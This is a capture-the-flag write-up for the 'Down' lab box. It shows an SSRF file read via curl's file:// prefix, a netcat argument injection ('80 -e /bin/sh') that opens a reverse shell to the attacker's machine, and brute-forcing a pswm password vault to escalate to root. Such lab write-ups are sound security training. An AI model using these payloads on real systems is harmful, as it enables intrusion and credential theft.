Down

down_cover

Target IP: 10.10.78.16

Enumeration

nmap scan:

$ nmap -sVC -T4 -Pn -oN nmap 10.10.78.16
Nmap scan report for 10.10.78.16
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing too remarkable here, we can see that Nmap found a website on port 80 titled Is it down or just me?, likely a website that is intended to check if a website is down.

Port 80 (HTTP)

If we type in the URL of a web server we control, We can indeed see request was sent to our server and the HTML is fully displayed on the page. web_server_log website

If we further examine the request sent by the target website with netcat, we can see that it is using cURL (version 7.81.0). netcat_enum

Initial Foothold: Arbitrary File Read + Command Injection

cURL can actually display a file on the local machine it is ran on if you give it the prefix file://. The website requires us to give it a http or https url, so we can simply append the file URL to our request. Here, we request for the source code for the web page we are visiting.

Also make sure your web server is still active.

http://<ATTACKER_IP>:8000/ file:///var/www/html/index.php

web_display_source

The source code segment below reveals that if we set the GET parameter expertmode to tcp, if would allow us to check if a port is open or not using netcat. The caveat here is that all of our inputs are passed through escapeshellcmd() which inserts \ before special shell characters (reference).

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {

Okay, if appending commands using special characters doesn’t help, what can we do next? Notice that extra arguments to the command won’t be affected by escapeshellcmd(), and if you have been playing CTFs for a while, you would know that certain versions of netcat has the -e argument, which would execute a command on a local machine and send the output to the remote port the netcat is connected to. Very common way to get reverse shell if you execute a shell binary with it.

To exploit netcat’s command execution functionality here, we can append the argument to the POST parameter port. The URL decoded value for port is 80 -e /bin/sh, and specify the IP address of your machine for ip. command_injection_req

And on our listener, we get back a shell session, and you can find the user flag inside /var/www/html. local

Prvilege Escalation

First, get yourself an interactive shell session with python pty:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

We actually have the ability to look inside aleks’ home directory, and we find a folding containing some data for pswm: pswm_data

According to the program’s Github Page, pswm is a command line password manager. Once the user chooses a master password, " a password vault will be created as an encrypted file named pswm inside ~/.local/share/pswm/". This means we now have access to the password vault belonging to aleks. Let’s transfer this file to our machine and try to crack it open.

To do that, we can make use of pswm-decryptor, a simple script to brute force the master password. To run it, you will have to install two python packages:

$ pip3 install cryptocode prettytable

Then, simply run:

$ python pswm-decrypt.py -f <PSWM_FILE> -w /usr/share/dict/rockyou.txt

We can very quickly discover the master password, and the script automatically decyrpted the data and revealed the login password for aleks. pswm_cracked

We can use the password to login as aleks via SSH. aleks_ssh_login

alek can run any sudo command after supplying the password. Cool, this means we can become by running sudo su aleks_sudo_l

Conclusion

The initial foothold is a creative case of command injection. Even though our input is sanitized via escapeshellcmd(), we are still able to append an additional argument that led to arbitrary command execution. This web application failed the principle of never trusting user input, and to fix it, we can simply check if port is a number between 1 and 65535 and if ip is a valid IPv4 address.

I hope you enjoyed this write-up. You can try out this box both on Vulnlab as well as Hack the Box, since Vulnlab is being acquired by Hack the Box and its contents will be gradually made available to HTB subscribers.

#Easy #Vulnlab #HTB #Linux #OSCP